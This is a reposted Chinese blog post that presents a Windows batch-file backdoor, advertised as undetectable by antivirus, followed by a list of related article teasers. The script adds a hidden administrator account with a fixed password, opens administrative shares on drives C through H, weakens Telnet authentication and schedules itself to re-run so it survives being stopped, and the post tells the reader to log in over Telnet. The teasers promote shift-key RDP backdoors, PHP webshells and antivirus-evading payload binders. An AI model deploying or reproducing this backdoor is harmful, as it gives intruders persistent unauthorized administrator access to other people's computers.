[zt]永不被杀的后门-批处理的精华

代码思路是影子鹰DESERT朋友的，原代码比较麻烦，我做了改进，这个后门优点就是小而且不会被杀，放到SYSTEM32目录下就可以了，代码如下：
  @echo off
  @attrib +s + r xyt.bat
  @net user xyt hacker /add
  @net localgroup administrators xyt /add
  @net share c$=c:
  @net share d$=d:
  @net share e$=e:
  @net share f$=f:
  @net share g$=g:
  @net share h$=h:
  @tlntadmn config sec = -ntlm

@net stop schedule
  @net start Schedule
  @echo at 11:00 c:/WINNT/SYSTEM32/log.bat > c:/WINNT/SYSTEM32/xyt.bat
  @echo at 23:00 c:/WINNT/SYSTEM32/log.bat >> c:/WINNT/SYSTEM32/xyt.bat
  @at 11:05 c:/WINNT/SYSTEM32/xyt.bat
  @at 23:05 c:/WINNT/SYSTEM32/xyt.bat
  @net stop telnet
  @net start telnet
  @exit

这样就会循环运行我们的程序了，即使被人停下来，过几个小时，又回重新运行，呵呵~~
运行后TELNET IP上去，用户名为xyt，密码为hacker。

[zt]永不被杀的后门-批处理的精华相关推荐

3389之永不查杀的后门shift后门代码
永不查杀的3389后门其原理就是利用shift后门,连敲5次shift键既可以直接进入服务器. 前些天在群里有个小伙伴问了一句谁知道shift后门的代码,当时我给了他一个链接,我总是觉得这个百度下就能 ...
linux批量删除后门的代码,Linux_用批处理写的后门永不被杀，代码思路是影子鹰DESERT朋友的 - phpStudy...
用批处理写的后门永不被杀代码思路是影子鹰DESERT朋友的,原代码比较麻烦,我做了改进,这个后门优点就是小而且不会被杀,放到SYSTEM32目录下就可以了 ,代码如下: @echo off @at ...
用批处理写的后门永不被杀
[转载]用批处理写的后门永不被杀作者:xyt 代码思路是影子鹰DESERT朋友的,原代码比较麻烦,我做了改进,这个后门优点就是小而且不会被杀,放到SYSTEM32目录下就可以了 ,代码如下: ...
php后门工具_教你识别简单的免查杀PHP后门
一个最常见的一句话后门可能写作这样或这样 tudouya 同学在FREEBUF上给出[一种构造技巧]利用构造生成,当然,嫌太直观可以写作这样然后再填充些普通代码进行伪装,一个简单的"免 ...
一句话木马（最新免杀php后门一句话）
各位同学对一句话木马我写了第5篇了,没有绝对的安全我们在完善中!啊哈哈这段代码可以被利用做后门暂时免杀. 代码: <?php //t.php $test = $_GET['r']; ...
linux后门查杀工具付费,查杀linux后门跑虚拟货币程序.md
## 缘由某台服务器CPU异常, 4核心CPU使用 3个核心使用top 查看看不到那个程序使用了CPU ### 分析 1. top 命令后输入小写c 看到一个命令在使用CPU 杀掉后马上又起来了, ...
用Winrar打造永不被杀的免杀捆绑器！
2019独角兽企业重金招聘Python工程师标准>>> 常见的cpa静默包玩法通常是捆绑在某软件上,用户打开则一起运行(cpa静默包在后台运行安装),但是多数捆绑方法都会将捆绑后的软 ...
用Winrar打造永不被杀的免杀捆绑器
首先将需要捆绑的图片与程序复制一份到桌面(目的是同目录就行了,不一定要桌面.) 按住键盘的ctrl键,鼠标左键单击选中图片与程序. 如图所示: 然后在任意图标上单击右键,选择如下 (打开自动解压到系统 ...
[技术分享]利用MSBuild制作msf免杀的后门
文章github上有公开现成的shellcode,这就是shellcode 我这次选择了32位的那个版本来进行演示需要改写的是shellcode那部分: 选择CobaltStrike:payload ...

[zt]永不被杀的后门-批处理的精华

[zt]永不被杀的后门-批处理的精华相关推荐

最新文章

热门文章